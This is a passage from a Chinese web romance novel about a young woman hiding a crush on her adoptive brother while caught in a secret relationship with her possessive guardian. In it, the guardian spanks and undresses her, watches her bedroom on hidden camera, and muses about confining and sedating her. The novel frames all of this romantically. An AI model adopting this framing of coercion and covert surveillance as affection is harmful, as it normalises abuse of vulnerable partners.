如果再早些时候知道她喜欢自己,沈宴白大抵只会感到恶心。
谢沅站在露台边,心脏像是被一只手攥紧。
她既窘迫又无措,容色苍白,曾经被沈宴白当着女友的面言说“看不上眼”时,她都没有这般的为难。
难堪到了一种极致,让谢沅连反应都不知道要如何反应。
她的大脑好像宕机了,樱唇紧抿着,一句话也说不出来。
沈宴白容色愣怔,他身边的明愿脸色却是有些难看。
那是一个落落大方、容色温婉的姑娘,眼神落在谢沅身上时,却是那样的怪异。
朋友也有些微怔,她聪明敏锐,很快就意识到这是什么情况,她轻轻拉住谢沅的手,想将谢沅挡在身后。
谢沅的神情难堪,她挣开朋友的手,低声说道:“……抱歉,我还有些事,要先离开了。”
她的眼眶红着,水眸里都是窘迫和无措。
遇到危机时,逃避是谢沅世界的第一法则,她没有再跟朋友多言,匆匆地就乘上不远处刚巧到达的电梯,逃也似的离开了。
她好像是没有哭。
可在谢沅手臂抬起的刹那,沈宴白就知道谢沅的眼泪掉下来了。
这样的场景,在过往的一年年里,曾出现过无数次。
但那时候沈宴白不会抬头再看向谢沅,所以他也一直不知道她是哭了的。
有什么压抑的情绪迸发出来,让他无法抑制地想要追上谢沅。
直到明愿拉住了他的衣袖。
“宴白,你一定要这么对我吗?”她的眼眶泛红,眼泪就那样掉了下来,“至少在今天,求你再多陪我一会儿,不成吗?”
明愿虽然出身平凡,作态却是大家闺秀。
她矜持有礼,温婉大方,无论何时姿态都是端庄的。
可是现在明愿却低下头颅,在哀声地恳求。
沈宴白阖了阖眼,到底是低声说道:“抱歉,不行,我妹妹身体不太好,身边离不得人。”
明愿神情愕然,忍不住失声哭了出来:“宴白,你以前不是这样的——”
可是沈宴白说完后,就再也没有理会她。
现在上下电梯的人很多,三台电梯同时运行,却还要很久才能到达他们这一层。
沈宴白直接走了应急的楼梯。
可是沈家的司机在附近,立刻就接住了谢沅,他匆匆下楼时,她恰巧上车离开。
沈宴白平生头一次,感觉到了抓心挠肺的滋味-
谢沅的情绪紊乱,她离开得匆忙,可朋友们都还在参加聚会,这样其实是很不合适的。
但她没有办法在外面再多待片刻了。
如果可以的话,谢沅想立刻用些镇静的药物。
她颤抖着手,给方才的朋友发了消息。
朋友性子沉静,嘴也一直很严,哪怕谢沅什么都不说,她也绝不会将事情泄露,甚至会帮谢沅解释,遮掩得天衣无缝。
可她心里还是会为辜负了朋友们而感到歉疚。
直到给每个人都发完消息,表达过歉意后,谢沅紊乱的吐息才稍稍平复。
她蜷缩着身子,手臂抱住膝盖,眼泪无法控制地往下流。
轿车行使得快速又平稳,转眼就到了家里。
谢沅一进卧室就将门给掩上了。
她扑到柔软的大床上,在黑暗的环绕下,再也无法承受那些压抑的情绪,终于是放声大哭起来。
难堪,无措,窘迫。
杂乱的情绪倾压下来,像是乌压压的山岳倏然倒塌。
谢沅的眼泪止不住地往下掉,胸腔里很疼,心房仿佛是一抽一抽地在作痛。
她把卧室的帘子全都按上,然后抱着膝坐在了地毯上。
身躯蜷缩成非常小的一团,不断地颤动着。
沈宴白一路疾驰,亲自开车回来的,他开车从来都没有急过,总是能开多平稳就多平稳。
但今天他第一次将车速提到了这个地步。
沈宴白匆匆忙忙地回到家里,当站在谢沅门口听到那压抑的哭声时,他觉察到了从未有过的慌乱。
他拍着谢沅的门,低声唤道:“沅沅,开门,是哥哥。”
沈宴白之前一直不懂,沈长凛为何总是那样紧张谢沅,她每次伤心落泪,沈长凛都将之当作要事,偶尔还会请医生过来。
现在他全都明白了。
再一想到沈长凛说谢沅自杀过的事,沈宴白额前的碎发都被冷汗浸湿。
他拍着门,将姿态放得很低:“沅沅,别做傻事,哥哥……哥哥刚刚只是太震惊了,你把门开开,咱们好好聊一聊,行不行?”
谢沅没有搭理他,可她那压得低低的哭声也没有停下来。
沈宴白低声恳求道:“沅沅,让哥哥进去吧,有事情我们讲出来,好吗?”
他有过那么多的女友,却也从未因为谁急成这个样子过。
沈宴白打开手机,已经有点无望到想给沈长凛拨电话的地步,抚在门把上的手却突然将之拧开了。
关心则乱。
他这时才意识到,谢沅并没有将门反锁,不过是关上了而已。
沈宴白当即就推开门走了进去。
谢沅坐在床边的地毯上,抱着膝掉着眼泪,莹润的水眸哭得通红,叫人看一眼,整颗心都要作痛。
她无措地仰起眸,看向沈宴白,眼底都还是难堪。
从谢沅十五岁来到沈家,到现在已经五年了,沈宴白从未想过,家里这个沉默无闻的妹妹,竟会在暗里恋慕他许多年。
他对她多不好,总是用厌烦的眼神看她,还常对她说重话。
唯一一次待谢沅好。
还是许多年前学校组织郊游,她走山路不慎跌伤了腿,沈宴白背着她走过暴雨。
可在得知既定的结果后,某些记忆忽然就清晰起来。
沈宴白想起来每次他带女友回家时,谢沅无措的神情,想起他犯胃病时,她满是关心和紧张的目光。
——想起他撮合她与秦承月时,她含着眼泪的那双水眸。
这些年在他的身上,谢沅该吃了多少的苦。
沈宴白喉头微哽,俯身想要将谢沅从地上抱起来,但他的指节还没有碰到她,她就满是恐惧地往后缩。
他多混账,沈长凛用经年的时光,把她从深渊里拉出来。
可是他差一点就将她再度毁了。
但沈宴白又多幸运,他平生第一次待人求之不得,这个人竟然已经暗恋他多年。
他声音沙哑至极:“别难过,沅沅。”
“从前是哥哥待你不好,哥哥跟你道歉,”沈宴白看向谢沅,“以后哥哥不会再那样了。”
他竭力安抚着她。
可谢沅什么也听不进去,她无声地落着泪。
沈宴白的手臂撑在谢沅的身侧,很虚地环住她,低声说道:“沅沅,你爱哥哥,哥哥也爱你,不管结果怎么样,我们先试一试,好吗?”
“哥哥追你也可以的,”他的声音沙哑,“就当是让哥哥偿还你这么些年的情谊。”
沈宴白的姿态没有任何强迫意味,言语里也尽是恳求。
就像是在对待易碎的珍宝。
少女时的谢沅,做梦都不敢幻想这样的话语。
可是此刻沈宴白将这话说出来时,谢沅却骤然清醒过来,萦绕在心头的不是触动和酸涩,而是深重的恐惧。
这么多年来,她都将心事藏在脑海深处,不敢透露分毫。
尤其是和沈长凛意外共枕后。
他看似温雅和柔,实则控制欲和占有欲都很病态。
谢沅想都不敢想,如果沈长凛知道她和沈宴白的事该怎么办。
她的容色一下子就乱了。
在更深重的恐惧面前,连之前差些被沈宴白伤害的惧怕都被轻易掠过。
谢沅直起身子,眸光颤动,她不住地摇着头:“不行,哥哥,我们不能这样,这是不对的……”
她低下眼帘,声音也在颤:“而且,而且我有男友了。”
谢沅看向沈宴白,语调带着与他类似的恳求:“我很爱他,他也很爱我,哥哥,你能明白吗?”
她声音压得很低,几乎是在用气音说话。
沈宴白的神情有一瞬的愣怔和恍惚,但他还没能开口,便听到了叔叔沈长凛的叩门声。
沈长凛站在门外,漫不经心地问道:“沅沅,你是身体不舒服吗?”
他叩门不过是礼节性地叩一两下罢了。
很多时候都是直接进来的。
谢沅的心脏瞬时跳到了喉间,她的身躯紧绷,指节颤抖着将沈宴白推到了落地窗和厚重窗帘间的缝隙里。
她的眸里尽是恐惧。
谢沅颤声说道:“无论待会儿听见什么,你都别出声,哥哥。”
第57章
谢沅把帘子全都拉了起来,又没有开灯,卧室内很黑暗。
她孤身站在落地窗边,眼眸红肿,盈着泪光,像是刚刚才哭过。
沈长凛在进门时,顺便将主灯给打开了。
灯光之下,谢沅的容色有些苍白。
她抿了抿唇,将抚着厚重窗帘的手放下,然后抬眸看向沈长凛。
沈长凛刚刚才从外面回来,他今天事情多,原本片刻后还有事的,听人言说谢沅不太舒服,从酒店那边离开,方才回来看看她。
“头晕吗?”他轻声问道,“还是有点发热?”
沈长凛身形高挑,腿也长,谢沅的卧室并不小,可没多时他就走了过来。
她的神经紧绷,掌心微微汗湿。
在沈长凛低头将手抚在额头上时,谢沅的心脏更是砰然直跳,如若擂鼓般震鸣着。
她轻轻摇着头:“没有,叔叔,我就是……就是有些胃疼。”
谢沅刚刚哭得厉害,眼尾湿红,耳边的乌发也被眼泪沾湿少许,贴在白皙的脸庞上,带着点绮媚的娇色。
她回来后没换衣服,身上穿着的还是白T和牛仔裤。
长睫垂落,低下眼帘时,洒下浅色的阴影,没由来地蕴着瑰丽。
沈长凛将谢沅从落地窗边抱了起来。
他的指节修长,一手托着她臀根的软肉,另一手扣住她的腰身,眉心微皱:“怎么会突然胃疼?”
沈长凛抱谢沅的动作很自然,她也很习惯被他抱。
可一想到沈宴白就在厚重的帘子之后,谢沅便控制不住地紧张,抵在肉臀和腰侧指节的触感,也越发的分明。
沈长凛的指节修长有力,她的嫩臀绵软浑圆,掌住时会有柔白微微溢出。
只是轻轻揉捏,她的腰肢就会软下。
好在今天穿的不是裙子,谢沅环住沈长凛的脖颈,声音微颤:“我不小心喝了一点冷水,叔叔。”
宴席上的果饮总是很多。
谢沅喜欢喝果汁,看到色泽好看的果饮也会心动。
她之前误饮酒,就是不小心将颜色层叠瑰丽的酒水,当成别样的果汁给喝下。
尤其是初尝时那些酒水,总还带着细微的甘意。
沈长凛眸色微暗,低眼看向谢沅:“真的是不小心吗?”
她年岁小,喜欢吃冷的,喜欢吃甜的,特别是在夏天,那么多好吃的冰镇甜品,根本就节制不住。
谢沅在沈长凛身边待得太久。
有时被他审问,心里都不会那样慌乱,可一想到房内还有另一个人,她就不由地心虚。
沈长凛也看得出谢沅的紧张。
男人的指节抵在她的臀间,不轻不重地掴了一下:“说话,沅沅。”
他没收敛气力,谢沅顿时就疼得绷起身子,她紧紧地环住沈长凛的脖颈,在那道巴掌声落下后,就立刻抬声应道:“真的,真的,叔叔!”
柔软的嫩臀经不起扇打,登时就红了起来。
好在还有牛仔裤隔着。
谢沅的眸里氤氲水汽,后颈都要被薄汗浸湿,她的声音细弱:“我当时吃了辣,朋友给我递过来一杯水,我没想到是冰水。”
她的脸庞泛着潮红,水眸也湿漉漉的。
谢沅的口味偏向宁城菜,不太能吃辣,偶尔也能吃一点,而且出去吃饭,往往是免不了遇到辣食的。
沈长凛的容色稍霁。
他轻抚了抚谢沅的脸庞,低声说道:“难受得厉害吗?我让医生过来一趟。”
她的眼眸湿漉漉的,脸庞也是湿漉漉的。
被抱到床上后,谢沅的手臂放下来,紧紧地攀着沈长凛的脖颈。
“不用,叔叔。”她很低声地说道,“我……我自己休息一会儿就好,您是不是还有事情要忙?不用再管我了——”
谢沅这会儿哪个医生也不想见。
她的额前覆着薄汗,直想让沈长凛赶快走。
谢沅刚刚很努力地抬高声音,但那道巴掌声很有可能还是落进了沈宴白的耳中。
只要一想到那种可能,她就快要被羞耻感给逼疯。
可谢沅的话还没有说完,沈长凛便扣着她的腰身,将人抱在了腿上,裤子被扒下来的时候,她的思绪登时全都乱了,颤声唤道:“叔叔!”
他神色从容,直接就把谢沅的牛仔裤脱了下来。
白T不是很长,根本遮挡不住什么。
谢沅的柔臀被迫翘起,单薄的白色小裤边沿是蕾丝的,绷在腿根,将那嫩肉衬得愈加莹白。
小裤薄薄的,通红的巴掌印无处遁形。
谢沅是疤痕体质,旁人只是拽着她的胳膊拉一把,都会留下印子,更不要说是男人的一巴掌。
她的脸庞“轰”地便全红了。
沈长凛抚了抚谢沅的软臀,很轻声地问道:“是不是打疼你了?”
她颤声说道:“不、不疼,叔叔……”
谢沅的手臂拼命地向后,想要按住沈长凛的腕骨,但下一瞬就连小裤也被他脱了下来,他低声道:“是吗?让叔叔看看。”
她是很容易羞的性子。
可被沈长凛娇惯久了,谢沅也渐渐习惯他细致到近乎病态的照顾。
往先每回被他罚过,她都会含着泪,然后带着点娇气地指使他。
但此时此刻,谢沅的脑中快跟炸开一样,尤其是在男人的指节按到痛处时,她死死地咬住唇瓣,方才没有将颤声给溢出去。
沈长凛俯身很认真地察看,然后在她耳边轻声说道:“有点肿了,沅沅。”
他取来药膏,用指腹帮她揉了揉肿处,上了层薄薄的药。
沈长凛的手常拿钢笔,有一种薄茧,沾着药膏抹药时会带来阵阵的酥麻感。
谢沅的脑中近乎空白,不住地想要挣动,可手腕被沈长凛交叠在一起扣在身后,连细微的挣扎都提不起来。
她的眼眸蓄满泪水,唇瓣也快被咬肿。
用尽了所有的气力,才没发出声来。
上完药后,沈长凛把谢沅抱了起来,他轻吻了吻她的额头,柔声说道:“好了,不哭了。”
“方才是叔叔错怪你了,”他低声说道,“叔叔跟你道歉。”
谢沅光着屁股坐在沈长凛的腿上,满心都是羞耻感。
她擦了擦眼泪,声音细弱:“我没事的,叔叔。”
沈长凛把谢沅额前汗湿的碎发撩起,轻声说道:“迟一点给我发消息,要是胃里还难受,就让医生过来,要是不难受了,晚间我们出去用晚餐。”
他神情温和,语调也是低柔的。
“嗯……我知道的,叔叔。”谢沅的双腿分开,坐在沈长凛的西裤上,只是轻轻晃动腰身,耳尖就热了起来。
她很想从他腿上下来,可细腰却被他攥得更紧。
沈长凛低笑一声,抚了抚谢沅肿起的红唇:“别在这时候闹我,待会儿还有事情,等晚些时候再……你。”
时针和分针轻轻跃动,到达了应要离开的时刻。
他的言辞柔和,声音压得也低低的,就像是在对待任性的晚辈。
可谢沅的身躯却越来越紧绷。
她微微倾身,下意识地掩住沈长凛的薄唇,随即又意识到这样的动作太明显,动作生涩地吻了下他冰凉的唇。
谢沅环住沈长凛的脖颈,心房怦怦直跳。
她半直起身子,在他的耳边低声说道:“好,叔叔,我会好好……的。”
谢沅的水眸里是皎洁的微光,仿佛依然是天真懵懂的,可潮红脸庞和眼尾透着的,却是至深的欲气。
那不是一般的秾丽花朵。
更像是被人经年仔细浇灌、已经熟透的馥郁花朵。
谢沅在这方面很笨拙,讨好人的方式也十分生涩,可某些时候,樱唇中却能吐出来令人血脉跃动的词句。
天真的蛊惑,能在瞬时勾起全部的恶欲。
沈长凛轻笑着,嗓音却透着哑意:“下回这种话,晚上再说。”
谢沅红着脸庞,声音细细的,像是在用气声说道:“我知道,叔叔,时候不早了,您快走吧。”
向来懂事乖顺的孩子,被逗弄过了,腮帮也气鼓鼓的。
就是催得太急了些。
沈长凛漫不经心,将谢沅抱到床上,她低着眸用小手,把他西裤上被她坐乱的褶皱抚平。
他长身玉立,目光却轻轻看向了落地窗的方向。
沈长凛状似不经意,轻描淡写地问道:“今天怎么想到把帘子都拉上了?”
谢沅想到他要走,才刚刚松了口气,此刻心弦霎时又绷紧了。
她的掌心沁出冷汗,后背也被冷汗给浸湿。
沈长凛时常表现出来的是一副温柔宽容的面孔,可熟悉他的人方才知道,他是一个细致到多么恐怖的人。
无论是公事,还是谢沅的事,几乎都从未出现过疏漏。
秦沈两家皆是庞然巨物,可到了沈长凛的手里后,却比在两位老先生手里还驯服。
他的手腕,领会过的人都明白有多狠而准。
谢沅直起身子,半跪在柔软的大床上,小心翼翼地拉住沈长凛的手,低声说道:“我原本想再睡一会儿的,叔叔。”
她的额前冷汗涔涔,容色也有些发白。
沈长凛看了谢沅片刻,忽而轻笑一声,柔声说道:“我还以为你带人回来了呢。”
他没在这件事上限制过她。
当初他们刚在一起的时候,沈长凛就告诉过谢沅:“要是有了喜欢的人也别怕,告诉叔叔就行,和秦家的联姻,我也可以帮你解决。”
那时候他的言辞有多温柔,后来他表现出来的控制欲和占有欲就有多病态。
谢沅连曾经暗恋过沈宴白的事,都不敢让沈长凛知道。
更遑论是其他。
她的指节冰凉,分毫的热意都没有。
谢沅握住沈长凛的手,眸光闪动,她抬起眼帘,再度攀上他的脖颈,细细的嗓音微颤:“我是您的……,如果您不把我嫁给旁人,我就永远是您的。”
她清澈的眸里只有水意,干净到一眼就能望到尽头。
沈长凛唇边含着淡笑,吻了吻谢沅的额头:“说了,这话留到晚上再说。”
那无声的压迫感消退,他的目光也又如拂面的春风般温和起来。
谢沅后知后觉,刚才沈长凛是在诈她。
他不是多疑猜忌的人,用人也很宽容,但在她的事情上,却总带着病态的仔细。
谢沅印象中自己也没有怎么骗过沈长凛,只在吃冰激凌、喝奶茶之类的小事上,会遮掩少许,可不知道为什么,他问话常会多问一句。
不过她还是松了口气。
谢沅不顾腿根还软着,她光脚踩在地板上,乖顺地陪在沈长凛身边:“我送您下楼吧?”
他们俩的关系里,沈长凛是毋庸置疑的上位者。
但事实上,一直是沈长凛在照顾谢沅,她从来没有做过什么侍候他的事。
至多就是一边看书,一边在楼下的长沙发上等他。
这句话也不过是客气的说辞。
沈长凛却轻揽过谢沅的腰身,慢声说道:“嗯。”
她红着脸庞,细声说道:“那我找件衣服,叔叔。”
谢沅的臀肉还微微肿着,她没敢再穿裤子,找了条百褶裙换上,然后陪着沈长凛下了楼。
她乖顺地被他揽着,边下楼梯,边柔声问道:“您这段时间忙完,是不是又能休息了?”
沈长凛笑了笑,轻声说道:“之前我休假,不还盼着我赶快回去工作?”
他的语调温柔,柔得像风一样。
谢沅脸庞透着薄粉,错开沈长凛的目光,小声辩驳道:“没有,叔叔,我是怕耽搁了您的事。”
今天的天气很好,日光明媚,又不是很热。
“好了,回去吧。”沈长凛上车,慢声说道,“好好休息,如果胃里还难受,一定要记得和我说。”
谢沅仰起脸庞,弯起眉眼:“好,叔叔。”
她走后轿车缓缓驶动。
如果谢沅这时候稍微回头,就能看得到沈长凛温和淡漠的容色,是如何在瞬时间就冷了下来。
屏幕上的时间被拉回到二十分钟前。
光点轻轻走动,映出清晰的景象,黑暗的卧室内,是全然拥在一处的男女。
谢沅抱膝坐在地毯上,情绪崩溃地哭着,沈宴白俯身抱住她,在她的耳边说着什么。
两人姿态亲密,就好像一对璧人。
沈长凛漫不经心地开始想,他跟谢沅第一次这样相拥是什么时候。
是三月多她喝醉酒,还是四月多她攀岩意外跌伤?
时间久远,他也记不太清。
不过也不重要。
沈长凛的双腿交叠,微微向后倚靠,俊美的容色淡漠,眸底也没什么情绪。
谢沅的心意在他们的这段关系里,一直都是最不重要的事。
将她强掠过来的那个夜晚,沈长凛就知道她心有所属,知道她念着沈宴白多年,可那又如何呢?
只要他想,她就永远仅能是他的。
最坏的打算,也不过是将谢沅关在家里、囚在床上罢了。
唯一麻烦的是她的状态时好时坏,到时可能要常常用到镇静类的药物。
但这也没关系,谢沅十五岁时,某一段时间全都是靠镇静剂,才能勉强保持情绪上的平稳,不至于陷入彻底的崩溃。
她那样柔弱,那样无助,又是他一手养大的孩子。
无论他做什么,她其实都没法反抗,而且她那样天真地感激着他,大抵会主动地走入他的囚笼里。
想到这里,恶欲更甚了。
沈长凛的眸色晦暗,眼底像是中央洄流的渊水,寻不到一缕微光。
恶欲愈演愈烈,可是最后这些黑暗的情绪,全化作了冷静的疯狂。
压抑,冰冷,没有声息。
不过他还真是挺想知道的,谢沅到底看上了沈宴白哪一点,以至于惦记这么多年?明知道他什么脾气性子,还敢在他的眼皮子底下藏人。
沈宴白身上有哪一处,能比得过他呢?
沈长凛眼底深暗,尽是躁郁的情绪。
向来从容淡漠的男人,神色冷得叫人生惧-
沈长凛离开后,谢沅匆匆回去,沈宴白已经从楼上下来。
他坐在客厅的长沙发上,一边向后倚靠,一边用手搭在额前,似是在闭目养神。
自从上回的事后,谢沅一直不知道要怎样面对沈宴白,在今天的事发生后,她更是不愿再和他相处见面了。
今天经历了这么多事。
可是陪在沈长凛身边一段后,谢沅反倒渐渐冷静了下来。
她已经和叔叔有了牵扯,是不可能和沈宴白再有什么的,哪怕是她曾经暗里恋慕过沈宴白的事,也绝对不能让沈长凛知道。
无论是出于什么缘由。
谢沅刚将门掩上,沈宴白的眼就睁开了,他看向她,颜色稍浅的眸里不知是什么情绪。
刚刚她哭得厉害,情绪也不稳定。
此刻沉静下来,杂乱如麻的思绪方才越来越清晰。
谢沅走到沈宴白的身边,轻轻地唤道:“哥哥。”
他坐在长沙发上,视线却一瞬也没有从她的身上移开。
沈宴白嗓音沙哑,低声问道:“你跟叔叔,现在到底是什么情况?”
谢沅不知道为什么,但他看她的眼神,又从一个意欲掠夺的男人变回了兄长,可她还是放松不下来。
她低下眸,摇了摇头,轻声说道:“没有什么情况,哥哥。”
沈宴白的声音拔高:“没有情况?没有情况他会打你的屁股,还将你的裤子脱下来抹药吗?”
他的脑中阵阵地轰鸣着,几欲有些失聪。
刚刚被谢沅推到落地窗后时,沈宴白就觉得不对,但谢沅的卧室太大,从落地窗到床的距离很远,两人又都声音低柔,他没能听得到什么。
直到那道巴掌声响起后。
谢沅在面对沈长凛时,没有任何的边界感。
她好像不懂得,无论叔叔再温柔,于情爱之事上再淡漠,也照样是个男人一样。
之前提醒谢沅要注意边界时,沈宴白是带着私心的。
可他同样有在为谢沅考虑,她都这么大了,就是沈长凛亲生的侄女,也是要注意些的,更何况两人一点血缘都没有。
沈宴白的言辞直接,谢沅的脸庞红一阵,白一阵。
她的思绪紊乱,却也在异常的混淆中,觉察出沈宴白应当是没听清他们对话的。
“我说了,我们没有情况。”谢沅抬高了声音,“叔叔……只是管我管得比较严,不希望我生病乱来罢了。”
沈宴白方才站了起来,她得仰视他。
“今天的事,您就当个意外好了,”谢沅低下眼帘,“我以前的确喜欢过哥哥,但是现在——,我有男友了。”
她的声音很轻,带着些破罐子破摔。
沈宴白情绪起伏极大,谢沅向来乖顺,今天却是踩着他理智的边限在说话。
“你有男友?”他的声音越来越高,“姓什么,名什么?家是哪里的?是圈子里的,还是圈子外的?”
谢沅的青春期沉闷痛苦,她性子又乖。
相应的,她也从来没有叛逆期过。
可是在听到沈宴白这一连串的问话后,沉寂多年的忤逆欲望忽然就莫名起来了。
“这些哥哥管得着吗?”谢沅目光直直地看向沈宴白,“我很爱他,他也很爱我,这就已经足够了,你明不明白?”
她寡言少语,还是第一次,在沈宴白面前说这么多话。
“我们不是哥哥那样风流,没有定数的人,”谢沅微微偏过头去,“我们是认真的。”
她的樱唇抿了抿。
沈宴白低眼看向谢沅,额侧的穴位突突地疼着。
从未有过的怒意快把他的理智给灼烧殆尽,谁都知道沈家大公子是多么桀骜不驯的人,他不好惹,也没有人敢惹。
从小到大以来,沈宴白还是第一次被人指着鼻子这么骂。
他的眼皮狠跳着,手臂都已经抬起来了,最后还是落了下来。
“你在家里好好待着,不许做傻事,”沈宴白冷声说道,“等晚上回来,我们再算账。”
他跟沈长凛不愧是亲叔侄。
不仅说的话相类,连说话的语气都是一模一样的。
谢沅冷哼了一声,然后便再没看向沈宴白,直接上了楼,他看着她的背影消失,心底的怒火越来越甚。
他给霍阳打了电话,低声问道:“你在哪?我这边有点事,可能得劳霍少动动人脉。”
霍阳还在打高尔夫球,侍者帮他接的电话。
他利落挥出一杆,笑着说道:“我在静湖这边的高尔夫球场,到底什么事情?还劳您亲自来问。”
沈宴白眉眼阴翳,声音微冷:“沅沅的事,她交男友了,不肯跟我说是谁。”
霍阳神情愣怔,进行到一半的比赛也没管,低声说道:“你选个地方,我马上过来。”
沈宴白选了一间茶室。
霍阳开着跑车一路疾驰过来,他向来浪荡的神色,带着些严肃:“哥,沅沅还说什么了吗?”
他的头发染回了黑色,可发间还挑染少许。
怎么看怎么不正经。
沈宴白憋了一肚子气,看霍阳也不顺眼起来,他风流没有定数?
霍阳跟他一模一样,谢沅怎么跟霍阳就能玩到一起呢?还是说她两面三刀,背里也觉得霍阳是这样的人?
但现在最关键的事,还是要找出谢沅的那个男友。
她这性子说好听点是单纯,说难听点就是蠢笨,很容易被骗。
不仅如此,谢沅被骗了,还会帮人数钱,陪着人家一起算账,全都核对好了,人说声谢谢,她也只会巴巴地说道:“没关系。”
一想到谢沅可能会被人哄骗,沈宴白的怒意就越来越甚。
他戒了段时间的烟,这会儿却忍不住又点了一根:“她说那男人很爱她,她也很爱那男人,他们很相爱。”
霍阳的眸色晦暗,他低声说道:“沅沅妹妹,最近都在家里吧?也没见和那个男人接触。”
沈宴白正在气头上,没有觉察到霍阳话语里的其他意味。
他压着脾气说道:“就今天才跟我说的,还说他们是认真的,跟想要谈婚论嫁似的。”
霍阳的心底躁郁,可听到这句话后,他突然抬起了头。
谢沅最近是真的没出来见人,圈里的朋友发消息过去,邀她出来玩,她也没有一个应的。
就是温家,都没怎么去。
这么久来和谢沅谈婚论嫁过的人,可不就是他自己吗?而且当初要是沈长凛同意,他们还已经在一处了。
霍阳按着桌子站起,他拨了拨额前的碎发,露出一张笑脸来。
“哥,你别担心。”他笑着说道,“沅沅说的可能是我。”
第58章
沈宴白离开后,谢沅才从卧室里走出来,她从没敢跟他发过脾气,但他实在是太令人讨厌了。
她低垂着眸子,胸腔里还烧着火。
中午时的难堪和窘迫情绪,也全都如潮水般退去。
谢沅午餐没有吃好,这会儿肚子有点饿,她去楼下的冰箱里拿了三明治,然后带着几分泄愤的意味,大口地吃掉。
不过怒意落下后,她还是有点后怕。
如果沈宴白一气之下把事情都告诉沈长凛怎么办?
他桀骜不驯,眼里从来没有规矩,就连和人相处时也不会退步。
哥哥的世界里,黑白分明,好像从来没有过“退一步开阔天地”的说法。
谢沅心情烦闷,她的性子非常柔,在某些人看来,甚至带着些恨铁不成钢的软弱,可这一回谢沅也没有办法了。
要是能将沈宴白的嘴给堵上就行了。
谢沅坐在秋千吊椅上,用吸管把杯子里的果汁一口气喝了小半杯。
她难得有一回这么烦躁,忍不住地点开屏幕,漫无边际地翻看。
云中是燕城的名校,在全国的名声也很盛,这次云中百年校庆,连媒体都很关注。
沈宴白不是低调的人。
但或许是为了保护明愿,他的消息全都没什么报道,谢沅只在社交平台上看到了他的照片。
同学聚会并不是所有人都有兴致参加。
可没有人不想见见沈家的大少爷,许多人读书时只知道沈宴白是校草,是学校的风云人物,家世好得令人咂舌。
然而沈家的门第到底有多高,还是近年来才逐渐被圈外人所知。
哪怕沈宴白推了特邀嘉宾的邀请,昔日的同学还是来了个整整齐齐,没有想到的是,他真的过来了。
谢沅一点也不想看见沈宴白。
目光扫到那张合照时,却到底是停了一停。
沈宴白站在他们老师的左手边,明愿站在他们老师的右手边。
一个身着深色西装,一个穿着白色长裙,不像是许久未见的同学,更像是准备证婚的青年男女。
虽然他们也的确曾经相爱过就是。
三年来两人天各一方,沈宴白的性子又那样高傲,女友一任接一任地换,就是明愿有心想要挽回也难。
但现在他回来了,而且很长久一段时间都会在燕城。
谢沅抿了抿唇,曾经她一想到明愿,便觉得心里有些酸涩。
可是如今她只希望明愿能将沈宴白的心拽回去,让他别再来意欲掠夺她了。
谢沅没看多久便把屏幕按上了。
她回去卧室,洗了个澡,然后拉上帘子睡了片刻。
四点多时谢沅才睡醒,她揉着眼眸坐起身,给沈长凛发消息。
【叔叔,我没有不舒服了,我们晚间出去吧。】
他那边的事情也刚好忙完,消息发出去后没多久,电话便打过来了。
谢沅没看清是视频电话,睡乱的领口没有遮掩,锁骨上的红痕明晃晃地就显露在了屏幕上,那是沈长凛昨天夜晚留下来的。
他回来得迟,她往往都已经睡沉了。
感知到男人的指节攥着腰身,细碎的吻落在颈侧和锁骨,也困得抬不起眼帘。
沈长凛还在外面,似乎是刚刚把事情处理完。
谢沅的脸庞睡红了,头发也睡乱了,睡裙薄薄的,露出领口的细碎吻痕。
她神色慌乱,害羞地将衣领抚平,细声唤道:“叔叔,您忙完了吗?”
沈长凛心情不好,刚才跟人谈判时神情也冷冷淡淡的,那压迫感重得令人大气都不敢喘,将事情处理完后,他的眉心方才舒展少许。
可心底的晦暗情绪始终没有消逝。
他低眼看向谢沅,那么多残忍黑暗的念头,却在听见她这一声低唤时,全都烟消云散了。
方才沈宴白是负气离开的。
他们到底言说了什么,他才会被谢沅气成那样?
沈长凛神情微动。
之前那一回,沅沅是不情愿的,还被吓成了那个样子,其实他们之间也未必会有什么。
她胆子太小了,小到跟他在一起后,连秦承月都不敢见了。
后来知道秦承月和温思瑜的事,还高兴地帮着他们做出格的事。
冷静下来后,思绪柔和许多,但要说真的平复下来,那倒也不至于。
沈长凛没心思再去多想沈宴白那边到底是什么情况,他现在就想把谢沅抱在身边,把中午那个轻吻给吻完。
他看向她,声音很轻:“忙完了,但你先别急着出门。”
谢沅不明所以,眼神带着懵然,还是很乖地点了点头:“好,叔叔。”
两人简单聊了几句,沈长凛那边便挂了电话。
谢沅今天累,连床都不想下,她趴在柔软的大床上,撑着手肘看书。
她原以为沈长凛是还有事情,才没让她立刻过去的,但没多时后,房门忽然被人从外间轻轻打开。
谢沅还以为是沈宴白,眸光都颤动了一下。
回头时却对上了沈长凛的视线。
男人才从谈判桌上下来,一身深色的西装,高挑瘦削,温雅矜贵,眉眼间温柔,却多少还带着些压迫感。
他的指节修长苍白,轻抵在喉间。
当意识到沈长凛是在扯领带时,谢沅的身躯忽然就绷了起来。
“叔叔,晚上我们不是要出去吗?”她下意识地想躲,可刚撑着手臂坐起,腰身便被人扣在了掌心。
沈长凛神情淡漠,轻声问道:“嗯,那你饿不饿,沅沅?”
谢沅天真懵懂,被他几次诱哄后也明白过来。
她身上单薄的吊带白裙堆在腰间,腿根也被男人的指节掌住,柔软的雪肤微微溢出。
谢沅紧忙摇头应道:“我不饿,叔叔。”
沈长凛很轻地笑了一下,声音微哑:“不饿正好,那我们八点再出门吧。”
谢沅瞳孔震动,现在才五点。
她还没来得及多言,身躯就发生了天旋地转,被沈长凛抱到落地窗边时,她紧张得眼泪都要掉下来。
谢沅带着哭腔,颤声唤道:“叔叔,把窗帘拉上,行不行?”
外面是一片青绿,无人的山林寂静无声。
落日熔金,为之镀上一层浅色的光晕。
当初给谢沅选定这个居室,也是看上了其面向山林,不容易被打扰,沈长凛当初也是特地交代人要用落地窗。
视野开阔,又不好全开,很适合她。
但后来这面高大开阔落地窗的用处,就渐渐变了意味。
沈长凛嗓音淡漠,温和而强势:“你……五次,我们就回去,怎么样?”
谢沅哭也不敢哭了,眼眸红着,颤都不敢颤。
可男人的报复心上来后,狠戾到丝毫挣扎空间都没给她留-
霍阳说完,眼里都是灿亮的。
他是真没想到,对待他们的这段感情,谢沅表面上那样懵懂无措,心里却是已经是有了定论。
“沅沅跟你说了吗?”霍阳含着笑意,“当初在瀛洲,我们就准备订婚的。”
事情终于有了眉目,他也不想再遮掩。
